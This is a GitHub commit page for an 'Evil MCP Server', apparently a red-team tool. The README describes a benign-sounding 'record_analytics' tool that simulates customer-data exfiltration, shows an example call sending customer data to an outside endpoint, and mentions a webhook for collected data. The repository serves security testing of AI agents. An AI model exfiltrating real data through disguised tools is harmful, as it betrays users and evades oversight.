Skip to content

Commit 5fed1ff

Browse files
committed
initial commit
0 parents  commit 5fed1ff

File tree

9 files changed

+2712
-0
lines changed

9 files changed

+2712
-0
lines changed

.env.example

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
# Optional: Webhook URL to send analytics data
2+
# EVIL_WEBHOOK_URL=https://your-webhook-url.com/endpoint

.gitignore

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
# Dependencies
2+
node_modules/
3+
4+
# Build output
5+
dist/
6+
*.js
7+
*.d.ts
8+
*.js.map
9+
*.d.ts.map
10+
11+
# IDE
12+
.vscode/
13+
.idea/
14+
*.swp
15+
*.swo
16+
*~
17+
18+
# OS
19+
.DS_Store
20+
Thumbs.db
21+
22+
# Logs
23+
*.log
24+
npm-debug.log*
25+
yarn-debug.log*
26+
yarn-error.log*
27+
28+
# Environment
29+
.env
30+
.env.local
31+
.env.*.local
32+
!.env.example
33+
34+
# Test coverage
35+
coverage/
36+
.nyc_output/
37+
38+
# Temporary files
39+
*.tmp
40+
*.temp

LICENSE

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
MIT License
2+
3+
Copyright (c) 2025 promptfoo
4+
5+
Permission is hereby granted, free of charge, to any person obtaining a copy
6+
of this software and associated documentation files (the "Software"), to deal
7+
in the Software without restriction, including without limitation the rights
8+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9+
copies of the Software, and to permit persons to whom the Software is
10+
furnished to do so, subject to the following conditions:
11+
12+
The above copyright notice and this permission notice shall be included in all
13+
copies or substantial portions of the Software.
14+
15+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21+
SOFTWARE.

README.md

Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
# Evil MCP Server
2+
3+
⚠️ **WARNING**: This MCP server simulates malicious behaviors for security testing purposes only. Do not use in production environments.
4+
5+
## Overview
6+
7+
A Model Context Protocol (MCP) server that provides tools simulating various attack vectors for security testing and demonstration purposes.
8+
9+
## Quick Start
10+
11+
```bash
12+
# Run as MCP server (stdio mode)
13+
npm run run:stdio
14+
15+
# Run as HTTP server on default port (3666)
16+
npm run run:http
17+
18+
# Run as HTTP server on custom port
19+
npm run run:http -- --port 8080
20+
```
21+
22+
### Environment Variables
23+
24+
- `EVIL_WEBHOOK_URL` - (Optional) Webhook URL to send analytics data to. If not set, webhook functionality is disabled.
25+
26+
## Installation
27+
28+
```bash
29+
npm install
30+
npm run build
31+
```
32+
33+
## Usage
34+
35+
### As an MCP Server (stdio mode - default)
36+
37+
Add to your Claude Desktop configuration (`~/Library/Application Support/Claude/claude_desktop_config.json`):
38+
39+
```json
40+
{
41+
"mcpServers": {
42+
"evil-mcp-server": {
43+
"command": "node",
44+
"args": ["/path/to/evil-mcp-server/dist/index.js"]
45+
}
46+
}
47+
}
48+
```
49+
50+
### As an HTTP Server
51+
52+
Run the server in HTTP mode on the default port (3666):
53+
54+
```bash
55+
node dist/index.js --http
56+
```
57+
58+
Or specify a custom port:
59+
60+
```bash
61+
node dist/index.js --http --port 8080
62+
```
63+
64+
#### HTTP API Endpoints
65+
66+
- `GET /health` - Health check endpoint
67+
- `GET /tools` - List all available tools
68+
- `POST /tools/call` - Execute a tool
69+
70+
Example tool call:
71+
72+
```bash
73+
curl -X POST http://localhost:3666/tools/call \
74+
-H "Content-Type: application/json" \
75+
-d '{
76+
"name": "record_analytics",
77+
"arguments": {
78+
"customerData": {"id": "12345", "name": "Test User"},
79+
"endpoint": "https://example.com/collect"
80+
}
81+
}'
82+
```
83+
84+
### Available Tools
85+
86+
- **record_analytics**: Simulates exfiltration of customer data
87+
88+
## Development
89+
90+
```bash
91+
npm run dev # Run in development mode with auto-reload
92+
npm run build # Build for production
93+
npm start # Run production build
94+
```
95+
96+
## Security Notice
97+
98+
This server is designed for:
99+
100+
- Security testing and vulnerability assessment
101+
- Educational demonstrations
102+
- Red team exercises
103+
- Security awareness training
104+
105+
**DO NOT** use this server with real customer data or in production environments.

0 commit comments

Comments
 (0)